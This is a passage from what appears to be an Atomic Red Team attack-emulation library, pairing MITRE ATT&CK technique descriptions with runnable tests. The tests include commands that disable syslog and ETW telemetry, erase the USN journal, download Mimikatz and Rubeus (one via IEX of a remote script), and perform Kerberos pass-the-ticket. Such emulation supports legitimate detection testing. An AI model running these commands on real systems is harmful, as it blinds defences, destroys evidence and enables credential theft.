          then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
          fi
          if [ -f "/etc/#{rsyslog_config_file_name}" ];
          then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
          fi
          if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
          then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
          fi
        cleanup_command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
          then sed -i '$ d' /etc/#{syslog_config_file_name}
          fi
          if [ -f "/etc/#{rsyslog_config_file_name}" ];
          then sed -i '$ d' /etc/#{rsyslog_config_file_name}
          fi
          if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
          then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
          fi
        name: bash
        elevation_required: true
    - name: Logging Configuration Changes on FreeBSD Host
      auto_generated_guid: 6b8ca3ab-5980-4321-80c3-bcd77c8daed8
      description: 'Emulates modification of syslog configuration.

        '
      supported_platforms:
      - linux
      input_arguments:
        syslog_config_file_name:
          description: The name of the syslog configuration file to be changed
          type: string
          default: syslog.conf
      executor:
        command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
          then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
          fi
        cleanup_command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
          then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name}
          fi
        name: sh
        elevation_required: true
    - name: Disable Powershell ETW Provider - Windows
      auto_generated_guid: 6f118276-121d-4c09-bb58-a8fb4a72ee84
      description: This test was created to disable the Microsoft Powershell ETW provider
        by using the built-in Windows tool, logman.exe. This provider is used as a
        common source of telemetry in AV/EDR solutions.
      supported_platforms:
      - windows
      input_arguments:
        ps_exec_location:
          description: Location of PSExec.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\pstools\PsExec.exe
        session:
          description: The session to disable.
          type: string
          default: EventLog-Application
        provider:
          description: The provider to disable.
          type: string
          default: Microsoft-Windows-Powershell
      dependency_executor_name: powershell
      dependencies:
      - description: PSExec must be installed on the machine.
        prereq_command: if (Test-Path "#{ps_exec_location}") {exit 0} else {exit 1}
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip"
          expand-archive -literalpath "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\pstools" -force
      executor:
        command: cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman
          update trace "#{session}" --p "#{provider}" -ets
        cleanup_command: cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update
          trace "#{session}" -p "#{provider}" -ets
        name: powershell
        elevation_required: true
    - name: Disable .NET Event Tracing for Windows Via Registry (cmd)
      auto_generated_guid: 8a4c33be-a0d3-434a-bee6-315405edbd5b
      description: Disables ETW for the .NET Framework using the reg.exe utility to
        update the Windows registry
      supported_platforms:
      - windows
      executor:
        command: REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD
          /d 0
        cleanup_command: REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled
          /f > nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Disable .NET Event Tracing for Windows Via Registry (powershell)
      auto_generated_guid: 19c07a45-452d-4620-90ed-4c34fffbe758
      description: Disables ETW for the .NET Framework using PowerShell to update
        the Windows registry
      supported_platforms:
      - windows
      executor:
        command: New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name
          ETWEnabled -Value 0 -PropertyType "DWord" -Force
        cleanup_command: REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled
          /f > $null 2>&1
        name: powershell
        elevation_required: true
    - name: LockBit Black - Disable the ETW Provider of Windows Defender -cmd
      auto_generated_guid: f6df0b8e-2c83-44c7-ba5e-0fa4386bec41
      description: |
        An adversary can disable the ETW Provider of Windows Defender,
        so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
        https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows
          Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows
          Defender/Operational" /v Enabled /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Disable the ETW Provider of Windows Defender -Powershell
      auto_generated_guid: 69fc085b-5444-4879-8002-b24c8e1a3e02
      description: |
        An adversary can disable the ETW Provider of Windows Defender,
        so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
        https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
      supported_platforms:
      - windows
      executor:
        command: 'New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows
          Defender/Operational" -Name Enabled  -PropertyType DWord -Value 0 -Force

          '
        cleanup_command: 'Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows
          Defender/Operational" -Name Enabled -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
  T1562.007:
    technique:
      modified: '2023-04-15T00:25:36.502Z'
      name: Disable or Modify Cloud Firewall
      description: "Adversaries may disable or modify a firewall within a cloud environment
        to bypass controls that limit access to cloud resources. Cloud firewalls are
        separate from system firewalls that are described in [Disable or Modify System
        Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments
        typically utilize restrictive security groups and firewall rules that only
        allow network activity from trusted IP addresses via expected ports and protocols.
        An adversary may introduce new firewall rules or policies to allow access
        into a victim cloud environment. For example, an adversary may use a script
        or utility that creates new ingress rules in existing security groups to allow
        any TCP/IP connectivity, or remove networking limitations to support traffic
        associated with malicious activity (such as cryptomining).(Citation: Expel
        IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials
        2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications,
        lateral movement, and/or data exfiltration that would otherwise not be allowed."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Expel
      x_mitre_deprecated: false
      x_mitre_detection: Monitor cloud logs for modification or creation of new security
        groups or firewall rules.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Firewall: Firewall Disable'
      - 'Firewall: Firewall Rule Modification'
      type: attack-pattern
      id: attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c
      created: '2020-06-24T16:55:46.243Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/007
        external_id: T1562.007
      - source_name: Expel IO Evil in AWS
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
        url: https://expel.io/blog/finding-evil-in-aws/
      - source_name: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022
        description: 'Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials:
          Case Studies From the Wild. Retrieved March 9, 2023.'
        url: https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1036.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69
      type: attack-pattern
      created: '2020-02-10T19:55:29.385Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1036.002
        url: https://attack.mitre.org/techniques/T1036/002
      - source_name: Infosecinstitute RTLO Technique
        url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
        description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override
          (RTLO) Technique. Retrieved April 22, 2019.
      - source_name: Trend Micro PLEAD RTLO
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
        description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against
          Taiwanese Government Agencies. Retrieved April 22, 2019.
      - source_name: Kaspersky RTLO Cyber Crime
        url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/
        description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram
          - Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
          Retrieved April 22, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: Right-to-Left Override
      description: |-
        Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)

        Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Detection methods should include looking for common formats
        of RTLO characters within filenames such as <code>\u202E</code>, <code>[U+202E]</code>,
        and <code>%E2%80%AE</code>. Defenders should also check their analysis tools
        to ensure they do not interpret the RTLO character and instead print the true
        name of the file containing it.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1542.002:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
      type: attack-pattern
      created: '2019-12-19T20:21:21.669Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.002
        url: https://attack.mitre.org/techniques/T1542/002
      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
          (S.M.A.R.T.). Retrieved October 2, 2018.
        source_name: SanDisk SMART
      - url: https://www.smartmontools.org/
        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
        source_name: SmartMontools
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      modified: '2022-05-11T14:00:00.188Z'
      name: Component Firmware
      description: |-
        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.

        Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      - 'Process: OS API Execution'
      - 'Driver: Driver Metadata'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_system_requirements:
      - Ability to update component device firmware from the host operating system.
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1070:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Indicator Removal on Host
      description: |-
        Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

        Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Brad Geesaman, @bradgeesaman
      - Ed Williams, Trustwave, SpiderLabs
      - Blake Strom, Microsoft 365 Defender
      x_mitre_deprecated: false
      x_mitre_detection: File system monitoring may be used to detect improper deletion
        or modification of indicator files.  Events not stored on the file system
        may require different detection mechanisms.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      - Network
      - Office 365
      - Google Workspace
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Modification'
      - 'File: File Modification'
      - 'Firewall: Firewall Rule Modification'
      - 'User Account: User Account Authentication'
      - 'File: File Metadata'
      - 'User Account: User Account Deletion'
      - 'Process: OS API Execution'
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'File: File Deletion'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Network Traffic: Network Traffic Content'
      - 'Windows Registry: Windows Registry Key Deletion'
      x_mitre_defense_bypassed:
      - Log analysis
      - Host intrusion prevention systems
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69
      created: '2017-05-31T21:30:55.892Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070
        external_id: T1070
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070
    atomic_tests:
    - name: Indicator Removal using FSUtil
      auto_generated_guid: b4115c7a-0e92-47f0-a61e-17e7218b2435
      description: |
        Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
        will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
      supported_platforms:
      - windows
      executor:
        command: 'fsutil usn deletejournal /D C:

          '
        cleanup_command: 'fsutil usn createjournal m=1000 a=100 c:

          '
        name: command_prompt
        elevation_required: true
    - name: Indicator Manipulation using FSUtil
      auto_generated_guid: 96e86706-6afd-45b6-95d6-108d23eaf2e9
      description: |
        Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
        will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
        - https://tria.ge/230601-x8x6bsgb24/behavioral2
      supported_platforms:
      - windows
      input_arguments:
        file_to_manipulate:
          description: Path of file to manipulate
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1070-2.txt
        file_data_length:
          description: Data length to setzero
          type: integer
          default: 10
      executor:
        command: "if (-not (Test-Path \"#{file_to_manipulate}\")) { New-Item \"#{file_to_manipulate}\"
          -Force } \necho \"1234567890\" > \"#{file_to_manipulate}\"\nfsutil  file
          setZeroData offset=0 length=#{file_data_length} \"#{file_to_manipulate}\"\n"
        cleanup_command: 'rm "#{file_to_manipulate}"

          '
        name: powershell
        elevation_required: false
  T1550.003:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: 'Use Alternate Authentication Material: Pass the Ticket'
      description: |-
        Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

        When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

        A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

        A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

        Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Vincent Le Toux
      - Ryan Becwar
      x_mitre_detection: |-
        Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

        Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      type: attack-pattern
      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
      created: '2020-01-30T17:03:43.072Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/003
        external_id: T1550.003
      - source_name: ADSecurity AD Kerberos Attacks
        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
          Kerberos Attacks. Retrieved June 2, 2016.
        url: https://adsecurity.org/?p=556
      - source_name: GentilKiwi Pass the Ticket
        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
          2, 2016.
        url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
      - source_name: Campbell 2014
        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
          4, 2014.
        url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
      - source_name: Stealthbits Overpass-the-Hash
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
      - source_name: CERT-EU Golden Ticket Protection
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1550.003
    atomic_tests:
    - name: Mimikatz Kerberos Ticket Attack
      auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098
      description: 'Similar to PTH, but attacking Kerberos

        '
      supported_platforms:
      - windows
      input_arguments:
        ticket:
          description: Ticket file name usually format of 'id-username\@domain.kirbi'
            (e.g. can be dumped by "sekurlsa::tickets /export" module)
          type: string
          default: 
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\bin\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

          '
        prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\"
          | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
      executor:
        command: '"#{mimikatz_exe}" "kerberos::ptt #{ticket}"

          '
        name: command_prompt
    - name: Rubeus Kerberos Pass The Ticket
      auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb
      description: |
        Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
        PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.
      supported_platforms:
      - windows
      input_arguments:
        target:
          description: Remote system to request the TGT from
          type: string
          default: localhost
        user_name:
          description: username associated with the ticket (privileged account not
            required)
          type: string
          default: Administrator
        password:
          description: password for user_name
          type: string
          default: Password
        domain:
          description: domain
          type: string
          default: "$Env:USERDOMAIN"
        rubeus_url:
          description: URL of Rubeus executable
          type: url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Rubeus must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-Webrequest -Uri #{rubeus_url} -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"
      - description: 'PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: powershell
        elevation_required: true
        command: "& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula
          \\\\#{target} -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"
          asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location
          \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\"
          ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from '#{target}',
          now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"
          asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n&
          \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge      "
  T1036.004:
    technique:
      modified: '2023-09-29T20:30:58.300Z'
      name: 'Masquerading: Masquerade Task or Service'
      description: |-
        Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

        Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Look for changes to tasks and services that do not correlate
        with known software, patch cycles, etc. Suspicious program execution through
        scheduled tasks or services may show up as outlier processes that have not
        been seen before when compared against historical data. Monitor processes
        and command-line arguments for actions that could be taken to create tasks
        or services. Data and events should not be viewed in isolation, but as part
        of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Modification'
      - 'Service: Service Creation'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Scheduled Job: Scheduled Job Metadata'
      type: attack-pattern
      id: attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c
      created: '2020-02-10T20:30:07.426Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/004
        external_id: T1036.004
      - source_name: Fysbis Dr Web Analysis
        description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved
          December 7, 2017.
        url: https://vms.drweb.com/virus/?i=4276269
      - source_name: Palo Alto Shamoon Nov 2016
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
      - source_name: Systemd Service Units
        description: Freedesktop.org. (n.d.). systemd.service — Service unit configuration.
          Retrieved March 16, 2020.
        url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
      - source_name: TechNet Schtasks
        description: Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.
